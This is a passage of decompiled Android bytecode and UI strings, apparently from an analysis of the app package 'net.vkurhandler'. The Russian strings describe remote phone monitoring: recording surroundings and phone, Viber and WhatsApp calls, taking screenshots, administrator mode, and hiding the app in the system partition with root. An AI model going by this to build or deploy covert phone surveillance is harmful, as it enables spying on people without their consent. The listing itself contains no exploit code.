\u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u0412\u044b \u0438 \u0437\u0430\u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c,\u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435\u0441\u044c \u043e\u043f\u0446\u0438\u0435\u0439 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0415\u0441\u043b\u0438 \u0412\u044b \u043d\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d, \u044d\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b \u0437\u0430 \u0412\u0430\u0441. \u041d\u0430\u043f\u0438\u0448\u0438\u0442\u0435 \u043d\u0430\u043c \u043d\u0430 \u043f\u043e\u0447\u0442\u0443
                    • . \u0412 \u043f\u0438\u0441\u044c\u043c\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043a\u0430\u0436\u0438\u0442\u0435 IMEI \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430.
                    • \u041e\u0448\u0438\u0431\u043a\u0430! \u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c
                    • \u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a SD \u043a\u0430\u0440\u0442\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SD \u043a\u0430\u0440\u0442\u044b \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c,\u0447\u0442\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044f
                    • \u0411\u0435\u0437 \u043f\u043e\u0434\u0441\u0432\u0435\u0442\u043a\u0438
                    • \u0421 \u043f\u043e\u0434\u0441\u0432\u0435\u0442\u043a\u043e\u0439
                    • \u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d
                    • \u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d
                    • \u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434
                    • SMS-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0441 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 SIM \u043a\u0430\u0440\u0442\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u0430\u0440\u0438\u0444\u0430\u043c \u043d\u0430 SMS \u0432\u0430\u0448\u0435\u0433\u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430
                    • \u0414\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430. \u041f\u0430\u0440\u043e\u043b\u044c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0434\u0430\u0442\u044c \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"\u0420\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\"(\u043d\u0438\u0436\u0435) \u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435
                    • \u041e\u0442\u043c\u0435\u043d\u0430
                    • \u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u0435\u043c!
                    • \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u0424\u043e\u0440\u043c\u0430\u0442 \u0444\u0430\u0439\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u041a\u043e\u0434\u0435\u043a \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 Viber
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 WhatsApp
                    • \u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c
                    • \u0414\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b
                    • \u0414\u0440\u043e\u0431\u043b\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u041d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a SD \u043a\u0430\u0440\u0442\u0435. \u0411\u0435\u0437 SD \u043a\u0430\u0440\u0442\u044b \u0412\u044b \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0437\u0432\u043e\u043d\u043a\u0438 \u0438 \u043e\u043a\u0443\u0436\u0435\u043d\u0438\u0435,\u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0440\u043e\u0432\u0430\u0442\u044c,\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b \u044d\u043a\u0440\u0430\u043d\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b\u0435 \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u043c\u0435\u0434\u0438\u0430\u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SD \u043a\u0430\u0440\u0442\u044b \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435.
                    • \u0424\u0438\u043b\u044c\u0442\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u0441 \u044d\u043a\u0440\u0430\u043d\u0430
                    • \u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u0412\u0441\u0435\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430
                    • \u0412\u0441\u0435\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043a\u0440\u043e\u043c\u0435 \u0441\u043f\u0438\u0441\u043a\u0430
                    • \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d. \u0415\u0441\u043b\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0441\u044f \u0437\u0430 5 \u043c\u0438\u043d\u0443\u0442, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0435\u0433\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c?
                    • \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0435
                    • \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b
                    • \u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b,\u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 Root \u043f\u0440\u0430\u0432\u0430,\u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c,\u0447\u0442\u043e \u043d\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b
                    • \u0414\u043b\u044f \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 5 \u0438 \u0432\u044b\u0448\u0435
                    • \u042d\u043d\u0435\u0440\u0433\u043e\u0441\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u0435
                    Position Instruction Meta Information
                    0new-instance v0, Landroid/util/SparseArray;
                    2invoke-direct {v0}, Landroid/util/SparseArray;-><init>()V
                    3iput-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    5iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    6const/16 v1, 0x7a
                    8const-string v2, "\u0412\u043e\u0439\u0442\u0438 \u0432 "
                    10invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    12iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    13const/16 v1, 0xb
                    15const-string v2, "\u041b\u043e\u0433\u0438\u043d:"
                    17invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    19iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    20const/16 v1, 0xc
                    22const-string v2, "\u041f\u0430\u0440\u043e\u043b\u044c:"
                    24invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    26iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    27const/16 v1, 0xd
                    29const-string v2, "\u0417\u0430\u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c?"
                    31invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    33iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    34const/16 v1, 0xe
                    36const-string v2, "\u041d\u0435 \u043c\u0435\u043d\u0435\u0435 4 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u042d\u0442\u043e\u0442 \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e"
                    38invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    40iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    41const/16 v1, 0xf
                    43const-string v2, "\u0414\u0430\u043d\u043d\u0430\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043e\u0447\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u043e\u0442 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439"
                    45invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    47iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    48const/16 v1, 0x10
                    50const-string v2, "\u0415\u0449\u0435 \u0440\u0430\u0437 \u043f\u0430\u0440\u043e\u043b\u044c:"
                    52invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    54iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    55const/16 v1, 0x11
                    57const-string v2, "\u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0438 \u044d\u0442\u043e\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043d\u0430 \u043c\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442"
                    59invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    61iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    62const/16 v1, 0x12
                    63new-instance v2, Ljava/lang/StringBuilder;
                    65const-string v3, "\u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0412\u044b \u0441\u043e\u0433\u043b\u0430\u0448\u0430\u0435\u0442\u0435\u0441\u044c \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438: <a href="
                    67invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    69sget-object v3, Lnet/vkurhandler/cd;->b:Ljava/lang/String;
                    71invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    72move-result-object v2
                    74const-string v3, ">"
                    76invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    77move-result-object v2
                    79sget-object v3, Lnet/vkurhandler/cd;->b:Ljava/lang/String;
                    81invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    82move-result-object v2
                    84const-string v3, "</a>"
                    86invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    87move-result-object v2
                    89invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    90move-result-object v2
                    92invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    94iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    95const/16 v1, 0x13
                    97const-string v2, "\u0421\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442"
                    99invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    101iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    102const/16 v1, 0x6e
                    104const-string v2, "\u041d\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f"
                    106invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    108iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    109const/16 v1, 0x6f
                    111const-string v2, "\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u0430\u0448\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u043e\u043c \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043d\u043e\u0432\u0430"
                    113invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    115iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    116const/16 v1, 0x70
                    118const-string v2, "\u0417\u0430\u043a\u0440\u044b\u0442\u044c"
                    120invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    122iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    123const/16 v1, 0x71
                    125const-string v2, "\u041d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b"
                    127invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    129iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    130const/16 v1, 0x72
                    132const-string v2, "\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442"
                    134invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    136iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    137const/16 v1, 0x74
                    139const-string v2, "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c \u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u043e\u0439 \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d"
                    141invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    143iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    144const/16 v1, 0x75
                    145new-instance v2, Ljava/lang/StringBuilder;
                    147const-string v3, "\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e! \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0434 \u0441\u0432\u043e\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043a \u0412\u0430\u043c \u043d\u0430 \u043b\u043e\u0433\u0438\u043d \u0438 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f, \u043a\u0430\u043a: "
                    149invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    151sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    153invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    154move-result-object v2
                    156const-string v3, ". \u0414\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u0439\u0442\u043e\u043c \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u043f\u043e\u0434 \u0430\u043d\u0434\u0440\u043e\u0438\u0434,\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"\u0421\u043a\u0430\u0447\u0430\u0442\u044c\""
                    158invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    159move-result-object v2
                    161invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    162move-result-object v2
                    164invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    166iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    167const/16 v1, 0x76
                    169const-string v2, "\u0412\u043e\u0439\u0442\u0438"
                    171invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    173iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    174const/16 v1, 0x77
                    176const-string v2, "\u041d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u043b\u043e\u0433\u0438\u043d \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c"
                    178invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    180iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    181const/16 v1, 0x79
                    183const-string v2, "\u0421\u0431\u0440\u043e\u0441 \u043f\u0430\u0440\u043e\u043b\u044f"
                    185invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    187iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    188const/16 v1, 0x7b
                    190const-string v2, "\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044f"
                    192invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    194iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    195const/16 v1, 0x7d
                    197const-string v2, "\u041d\u043e\u0432\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043f\u043e\u0447\u0442\u0443"
                    199invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    201iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    202const/16 v1, 0x7e
                    204const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438"
                    206invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    208iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    209const/16 v1, 0x7f
                    211const-string v2, "\u041e\u0448\u0438\u0431\u043a\u0430"
                    213invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    215iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    216const/16 v1, 0x80
